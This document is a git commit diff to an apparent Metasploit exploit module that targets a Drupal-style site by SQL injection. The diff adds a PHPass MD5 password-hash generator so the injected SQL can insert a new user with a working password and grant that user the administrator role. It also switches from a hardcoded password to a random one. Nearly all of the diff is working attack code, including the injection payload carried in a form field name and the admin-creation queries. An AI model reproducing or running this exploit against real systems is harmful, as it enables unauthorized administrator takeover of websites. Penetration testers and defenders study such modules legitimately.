password hashing
parent
9bab77ece6
commit
c8dd08f605
|
@ -47,7 +47,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator'])
|
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
|
||||||
|
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -59,52 +60,75 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
datastore['ADMIN_ROLE']
|
datastore['ADMIN_ROLE']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def iter
|
||||||
|
datastore['ITER']
|
||||||
|
end
|
||||||
|
|
||||||
|
def itoa64
|
||||||
|
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
|
||||||
|
end
|
||||||
|
|
||||||
|
# PHPs PHPASS base64 method
|
||||||
|
def phpass_encode64(input, count)
|
||||||
|
out = ''
|
||||||
|
cur = 0
|
||||||
|
while cur < count
|
||||||
|
value = input[cur].ord
|
||||||
|
cur += 1
|
||||||
|
out << itoa64[value & 0x3f]
|
||||||
|
if cur < count
|
||||||
|
value |= input[cur].ord << 8
|
||||||
|
end
|
||||||
|
out << itoa64[(value >> 6) & 0x3f]
|
||||||
|
break if cur >= count
|
||||||
|
cur += 1
|
||||||
|
|
||||||
|
if cur < count
|
||||||
|
value |= input[cur].ord << 16
|
||||||
|
end
|
||||||
|
out << itoa64[(value >> 12) & 0x3f]
|
||||||
|
break if cur >= count
|
||||||
|
cur += 1
|
||||||
|
out << itoa64[(value >> 18) & 0x3f]
|
||||||
|
end
|
||||||
|
out
|
||||||
|
end
|
||||||
|
|
||||||
def generate_password_hash(pass)
|
def generate_password_hash(pass)
|
||||||
# Syntax for MD5:
|
# Syntax for MD5:
|
||||||
# $P$ = MD5
|
# $P$ = MD5
|
||||||
# one char representing the hash iterations (min 7 iterations)
|
# one char representing the hash iterations (min 7)
|
||||||
# 8 chars salt
|
# 8 chars salt
|
||||||
# MD5_raw(salt.pass) + iterations
|
# MD5_raw(salt.pass) + iterations
|
||||||
# MD5 base64 encoded and trimmed to 22 chars for md5
|
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
|
||||||
|
iter_char = itoa64[iter]
|
||||||
# VALID md5 for salt 12345678 and password test
|
salt = Rex::Text.rand_text_alpha(8)
|
||||||
#$P$812345678BWHQIqn5fZNJ.YWj7Kb39.
|
|
||||||
|
|
||||||
pass = 'test'
|
|
||||||
iter = 10
|
|
||||||
iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
|
|
||||||
iter_char = iter_char_base[iter]
|
|
||||||
#salt = Rex::Text.rand_text_alpha(8)
|
|
||||||
salt = '12345678'
|
|
||||||
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
|
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
|
||||||
1.upto(iter) {
|
# convert iter from log2 to integer
|
||||||
|
iter_count = 2**iter
|
||||||
|
1.upto(iter_count) {
|
||||||
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
|
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
|
||||||
}
|
}
|
||||||
md5_base64 = Rex::Text.encode_base64(md5)
|
md5_base64 = phpass_encode64(md5, md5.length)
|
||||||
md5_stripped = md5_base64[0...22]
|
md5_stripped = md5_base64[0...22]
|
||||||
pass = "$P$#{iter_char}#{salt}#{md5_stripped}"
|
pass = "$P$#{iter_char}#{salt}#{md5_stripped}"
|
||||||
#puts pass
|
vprint_debug("#{peer} - password hash: #{pass}")
|
||||||
|
|
||||||
# return hardcoded password test for now
|
return pass
|
||||||
return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d'
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def sql_insert_user(user, pass)
|
def sql_insert_user(user, pass)
|
||||||
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{(generate_password_hash(pass))}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
|
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
|
||||||
end
|
end
|
||||||
|
|
||||||
def sql_make_user_admin(user)
|
def sql_make_user_admin(user)
|
||||||
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'));"
|
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
|
||||||
end
|
end
|
||||||
|
|
||||||
def extract_form_ids(content)
|
def extract_form_ids(content)
|
||||||
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
|
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
|
||||||
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
|
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
|
||||||
|
|
||||||
unless form_token and form_build_id
|
|
||||||
fail_with(Failure::Unknown, "Could not parse form tokens")
|
|
||||||
end
|
|
||||||
|
|
||||||
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
|
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
|
||||||
vprint_debug("#{peer} - form_token: #{form_token}")
|
vprint_debug("#{peer} - form_token: #{form_token}")
|
||||||
|
|
||||||
|
@ -113,7 +137,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
# TODO: Password hashing function
|
|
||||||
# TODO: Check if option admin_role exists via admin/people/permissions/roles
|
# TODO: Check if option admin_role exists via admin/people/permissions/roles
|
||||||
|
|
||||||
# call login page to extract tokens
|
# call login page to extract tokens
|
||||||
|
@ -136,9 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
user = Rex::Text.rand_text_alpha(10)
|
user = Rex::Text.rand_text_alpha(10)
|
||||||
#pass = Rex::Text.rand_text_alpha(10)
|
pass = Rex::Text.rand_text_alpha(10)
|
||||||
# TODO: hardcoded for now
|
|
||||||
pass = 'test'
|
|
||||||
|
|
||||||
post = {
|
post = {
|
||||||
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
|
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
|
||||||
|
|
Loading…
Reference in New Issue